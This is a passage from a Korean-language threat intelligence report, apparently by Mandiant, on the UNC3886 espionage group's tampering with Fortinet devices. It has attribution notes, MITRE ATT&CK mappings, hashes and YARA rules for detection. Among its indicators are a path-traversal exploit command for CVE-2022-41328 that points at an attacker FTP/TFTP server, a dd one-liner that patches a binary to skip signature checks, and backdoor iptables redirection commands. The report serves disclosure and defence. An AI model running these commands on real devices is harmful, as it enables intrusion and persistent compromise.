손상된 '/bin/smit(a388ebaef45add5da503e4bf2b9da546)'와 FortiManager와 FortiAnalyzer의 깨끗한 버전을 비교하면 수정된 바이너리에 단일 바이트 차이가 있습니다. '/bin/sumit' 내 수정된 위치는 시스템 시작 시 마운트 명령 줄 인스가 주어질 때 실행됩니다. 보통 마운트 함수는 그림 24의 파일에 대해 ' /data/.fmg_sign'에 대한 OpenSSL 1.1.0 디지털 서명 검증 검사를 수행하지만, 이 수정은 조건부 점프 명령을 조건 없는 점프 명령으로 변경하여 디지털 서명 검증 검사를 항상 건너뛰게 했습니다.

그림 24: /bin/smit에서 일반적으로 검사하는 파일

/data/extlinux.sys

/data/extlinux.conf

/data/boot.msg

/data/vmlinuz

/data/rootfse-fe

시스템 시작 시 ' /etc/init.d/localnet'보다 먼저 마운트 명령이 실행되므로 'dd' 명령은 '/bin/sumit'의 22,866번째 바이트를 문자 't'로 덮어씌워 파일이 해싱 되더라도 조작된 적이 없는 것처럼 보이는 상태로 되돌립니다.

속성

UNC3886은 네트워크에서 작동하는 방식과 캠페인에서 사용하는 도구에서 독특한 기능을 가진 고급 사이버 스파이 그룹입니다. UNC3886은 EDR 지원이 부족한 방화벽 및 가상화 기술을 대상으로 한 것으로 관찰되었습니다. 방화벽 펌웨어를 조작하고 제로데이 취약점을 악용할 수 있는 능력은 그들이 관련 기술에 대해 더 깊은 이해를 쌓았다는 것을 보여줍니다. UNC3886은 공개적으로 사용 가능한 맬웨어를 수정해 *nix 계열을 운영체제를 대상으로 했습니다.

UNC3886과 관련이 없는 다른 위협 행위자 클러스터로 추정되는 중국 출신의 다른 공격 그룹은 최근 포티넷의 제로데이 취약점을 타깃으로 삼는 것으로 관찰되었습니다. 이는 2023년 1월 중순에 맨디언트가 보고한 바 있습니다. 맨디언트는 계속 증거를 수집하고 UNC3886과 중국 공격 그룹으로 속성을 분류한 다른 그룹 간 겹치는 부분이 있는지 확인하고 있습니다.

결론

이 포스팅을 통해 알아본 위협 활동은 고급 사이버 스파이 그룹이 EDR 기능을 지원하지 않는 보안 장치를 목표로 피해자 네트워크에 접근하고 지속성을 유지한 예입니다. 이번 케이스를 통해 알 수 있는 것은 많은 네트워크 장치를 대상으로 위협 행위자가 해당 장비의 운영체제 런타임을 수정하는 것을 탐지하는 솔루션이 없다면? 탐지와 대응이 매우 어렵다는 것입니다. 이번 예와 같이 장비 제조사가 포렌식에 참여해야 침해 분석과 대응책 마련이 가능하기 때문입니다. 더불어 이번 침해 사고 대응과 같이 조직 간 의사소통과 협력은 매우 중요하다 할 수 있습니다.

맨디언트는 ESXi와 VM웨어 인프라스트럭처 스위츠를 사용하는 조직이 본 포스팅 내용을 참조해 공격 표면을 최소화하는 것을 권장합니다.

끝으로 본 포스팅 작성에 도움을 주신 Jeremy Koppen, Kirstie Failey, Bryce Bucklin, Jay Smith, Nicholas Luedtke, Ronnie Salomonsen, Nino Isakovic, Charles Carmakal, 그리고 Fortinet PSIRT 감사의 뜻을 전합니다. 또한, 침해 분석에 뜻을 모은 포티넷과 VM웨어에게도 감사의 말씀을 드립니다. 참고로 포티넷은 CVE-2022-41328과 공격자 활동에 대한 분석 내용을 소개하는 글로 공개하였습니다.

부록

MITRE ATT&CK 테크닉

Impact

  • T1565.001: Stored Data Manipulation

Defense Evasion

  • T1027: Obfuscated Files or Information
  • T1070: Indicator Removal
  • T1070.003: Clear Command History
  • T1070.004: File Deletion
  • T1078: Valid Accounts
  • T1140: Deobfuscate/Decode Files or Information
  • T1202: Indirect Command Execution
  • T1218.011: Rundll32
  • T1222: File and Directory Permissions Modification
  • T1497: Virtualization/Sandbox

Evasion

  • T1497.001: System Checks
  • T1620: Reflective Code Loading

Credential Access

  • T1552: Unsecured Credentials
  • T1555.005: Password Managers

Discovery

  • T1016: System Network Configuration Discovery
  • T1033: System Owner/User Discovery
  • T1057: Process Discovery
  • T1082: System Information Discovery
  • T1083: File and Directory Discovery
  • T1087: Account Discovery
  • T1518: Software Discovery

Collection

  • T1074.001: Local Data Staging
  • T1560: Archive Collected Data
  • T1560.001: Archive via Utility

Execution

  • T1059: Command and Scripting Interpreter
  • T1059.001: PowerShell
  • T1059.003: Windows Command Shell
  • T1059.004: Unix Shell
  • T1059.006: Python
  • T1129: Shared Modules

Command and Control

  • T1095: Non-Application Layer Protocol
  • T1102.001: Dead Drop Resolver
  • T1105: Ingress Tool Transfer
  • T1571: Non-Standard Port
  • T1573.001: Symmetric Cryptography

Lateral Movement

  • T1021.004: SSH

침해 지표

유형

설명

FortiGate Command

execute wireless-controller hs20-icon upload-icon ftp ../../../../../../bin/lspci <TA FTP Server>

 

이 명령 또는 디렉토리 순회가 포함된 유사 명령 실행 시도는 일반적으로 제한된 디렉토리에 파일을 업로드하기 위해 CVE-2022-41328의 악용 시도를 나타냅니다.

FortiGate Command

execute wireless-controller hs20-icon upload-icon tftp ../../../../../../bin/lspci <TA TFTP Server>

이 명령 또는 디렉토리 순회가 포함된 유사 명령 실행 시도는 일반적으로 제한된 디렉토리에 파일을 업로드하기 위해 CVE-2022-41328의 악용 시도를 나타냅니다.

Filename

/bin/fgfm

FortiGate 기기에서 발견된 CASTLETAP 샘플

Symlinked File

/bin/lspci -> /bin/sysctl

lspci는 FortiGate 기기 내에서 독립 실행형 바이너리여야 합니다. 심블릭 링크는 파일시스템이 수정되었음을 나타냅니다.

URI

/p/util/show_device_info

FortiManager 기기에서 지속적인 백도어 역할을 하는 위협 행위자가 생성한 API 호출입니다.

URI

/p/utils/fortigate_syslog_send

FortiAnalyzer 기기에서 지속적인 백도어 역할을 하는 위협 행위자가 생성한 API 호출입니다.

Python Function

get_device_info

FortiManager, FortiAnalyzer 기기의 /usr/local/lib/python3.8/proj/util/views.py에 악성 파이썬 함수가 추가되어 위협 행위자에게 지속적인 백도어를 제공하였습니다.

Filename

/bin/support

/bin/auth(TABLEFLIP) 및 /bin/klogd(REPTILE)를 시작하고 디스크에서 /bin/support와 함께 두 파일을 삭제하는 위협 행위자의 스크립트입니다.

Filename

/bin/auth

TABLEFLIP 샘플 - tCP 541의 FortiManager로 향하는 특정 IP 주소에서 지정된 다른 포트로 리다이렉션을 설정하는 유틸리티입니다.

Filename

/bin/klogd

REPTILE - 활성화를 위해 특수 패킷을 수신 대기하는 백도어 유틸리티입니다.

Config Change

printf "t" | dd of=/bin/smit bs=1 count=1 conv=notrunc seek=22866 2>/dev/null

시스템 파일의 디지털 서명 확인을 우회하도록 바이너리를 되돌리기 위해 FortiAnalyzer 및 FortiManager 기기에서 /etc/init.d/localnet에 대한 구성 변경

MD5

9ce2459168cf4b5af494776a70e0feda

/bin/auth(TABLEFLIP) 및 /bin/klogd(REPTILE)를 시작하고 디스크에서 /bin/support와 함께 두 파일을 삭제하는 위협 행위자의 스크립트입니다.

MD5

b6e92149efaf78e9ce7552297505b9d5

TABLEFLIP 샘플

MD5

53a69adac914808eced2bf8155a7512d

REPTILE 변형 샘플

MD5

a388ebaef45add5da503e4bf2b9da546

수정된 /bin/smit

MD5

88711ebc99e1390f1ce2f42a6de0654d

Localnet 샘플

MD5

e2d2884869f48f40b32fb27cc3bdefff

CASTLETAP 샘플

MD5

53a69adac914808eced2bf8155a7512d

REPTILE 변형 샘플

MD5

64bdf7a631bc76b01b985f1d46b35ea6

THINCRUST 샘플

MD5

a86a8fe875a89816e5808588154a067e

THINCRUST 샘플

MD5

3e43511c4f7f551290292394c4e21de7

THINCRUST 샘플

SHA186f3623b3fb8d5303b6c9d8295292a5c2ceb2889Localnet 샘플

SHA1

75c092098e3409d366a46fdde6a92ff97d29cee1

Smit 샘플

SHA1

9dca7f1af5752bb007e5cc55acd2511f03049ee5

TABLEFLIP 샘플

SHA1

8c40fc87fa3b25a559585b10a8ca11c81fb09f75

CASTLETAP 샘플

SHA1

3109b890901499f7ebb90f8870a7d1617d27e7c9

REPTILE 변형 샘플

SHA1

b8bdaa1bd204a6c710875b0c4265655d1fd37d52

/bin/ 지원 샘플

SHA1

1a077212735617a665a6b631e34a6aedcbc41713

THINCRUST 샘플

SHA1

d5f8436e9815358e33b8243abda76c9b398943e2

THINCRUST 샘플

SHA1

8ef5159944d048fe84e51a818c9b11ebcfa98517

THINCRUST 샘플

SHA256

245e4646e5d984c2da4cfe223bb2fae679441bcf42b254fc193ae97dc32af7ad

Localnet 샘플

SHA256

9fb09fe6db61fbdd19ac9c368e2f64fb9606119649830762fa467719c480ed44

Smit 샘플

SHA256

18afbad17dee0e4330a85b782e8e580c6125d8a7127cda69ad0e2728d505a6f5

TABLEFLIP 샘플

SHA256

a00fed53b1ece4610c8b52934c20af3667d455f092a77f8d9bc46fdb9047e41a

CASTLETAP 샘플

SHA256

eb6af99148f0ce5b58e414162ff2b7567b4cf08953862a088996365ff306014b

REPTILE 변형 샘플

SHA256

33c22b2db8c0948c67204485972d2eb856e13dca16132371337fc3534e3df16d

/bin/ 지원 샘플

SHA256

abefe121e5c895bf63be80152ccbe2d7bb5ad985aa3ab989bcb7c0804b90d004

THINCRUST 샘플

SHA256

2266667af7532a32b9c21c330a9fe56356ca66610e39654804a7262f2af61017

THINCRUST 샘플

SHA256

4e4c5e5ca588bd84b67a37b654ec522768fa83e535ff795a5c196da8f8b9737d

THINCRUST 샘플

YARA 규칙

rule M_Hunting_Util_TABLEFLIP_1

{

meta:

    author = "Mandiant"

    description = "Looks for TABLEFLIP Binary"

    md5 = "b6e92149efaf78e9ce7552297505b9d5"

strings:

    $z1 = "%1$s.*%2$d" fullword

    $x1 = "/proc/self/exe" fullword

    $x2 = "socket" fullword

    $x3 = "127." fullword

    $x4 = "iptables -t nat" fullword

    $s1 = "iptables -t nat -S PREROUTING | grep %1$s | grep %2$d || iptables -t nat -A PREROUTING -p tcp -s %1$s --dport 541 -j REDIRECT --to-port %2$d"

    $s2 = "iptables -t nat -S PREROUTING | tail -n +2 | grep -n -E '%1$s.*%2$d' | awk -F: '{print $1}'| xargs iptables -t nat -D PREROUTING"

condition:

    uint32(0) == 0x464c457f and filesize < 5MB and @x1 <= @x2 and @x2 <= @x3 and @x3 <= @x4 and ( $z1 or any of ($s*) )

}

 

rule M_Hunting_Backdoor_REPTILE_1

{

    meta:

        author = "Mandiant"

        description = "Looks for ELF backdoor REPTILE variant"

        md5 = "53a69adac914808eced2bf8155a7512d"

    strings:

        $x1 = ";7(Zu9YTsA7qQ#vw"

        $x2 = "mznCvqSBo"

        $x3 = "hpaVAj2FJ"

        $x4 = "%d.%d.%d.%d"

        $x5 = "HISTFILE="

        $x6 = "TERM"

        $x7 = { 58 90 AE 86 F1 B9 1C F6 29 83 95 71 1D DE 58 0D } // taken from FE_Hunting_Linux_TINYSHELL_2_FEBeta.yara

    condition:

        uint32(0) == 0x464c457f and all of them and #x4 >= 3 and #x6 == 1 and filesize < 15MB

}

rule M_Hunting_Backdoor_CASTLETAP_1

{

    meta:

        author = "Mandiant"

        description = "Finds strings observed in CASTLETOP ELF binary"

        md5 = "e2d2884869f48f40b32fb27cc3bdefff"

   

    strings:

        $x1 = ";7(Zu9YTsA7qQ#vw"

        $x2 = "qWWlC0v6yYh2yxu"

        $x3 = "1qaz@WSXa"

        $x4 = "hpaVAj2FJ"

        $x5 = "%d.%d.%d.%d"

        $x6 = "HISTFILE="

        $x7 = "TERM"

        $x8 = "/tmp/busybox"

        $x9 = { 58 90 AE 86 F1 B9 1C F6 29 83 95 71 1D DE 58 0D }

   

    condition:

        uint16(18) == 183 and

        uint16(16) == 0x02 and

        uint32(0) == 0x464c457f and 1 of ($x*) and #x5 >= 3 and #x7 == 1 and filesize < 15MB

}

 

rule M_Hunting_Backdoor_CASTLETAP_2

{

    meta:

        author = "Mandiant"

        description = "Finds byte pattern related to XOR decode function"

        md5 = "e2d2884869f48f40b32fb27cc3bdefff"

   

    strings:

        $x1 = { ?? 14 40 B9 ?? B0 1D 11 ?? 10 40 B9 [5] 0C 40 B9 [5] 1F 80 52 [9] 1F 00 12 }

   

    condition:

        uint16(18) == 183 and

        uint16(16) == 0x02 and

        uint32(0) == 0x464c457f and any of them and filesize < 15MB        

}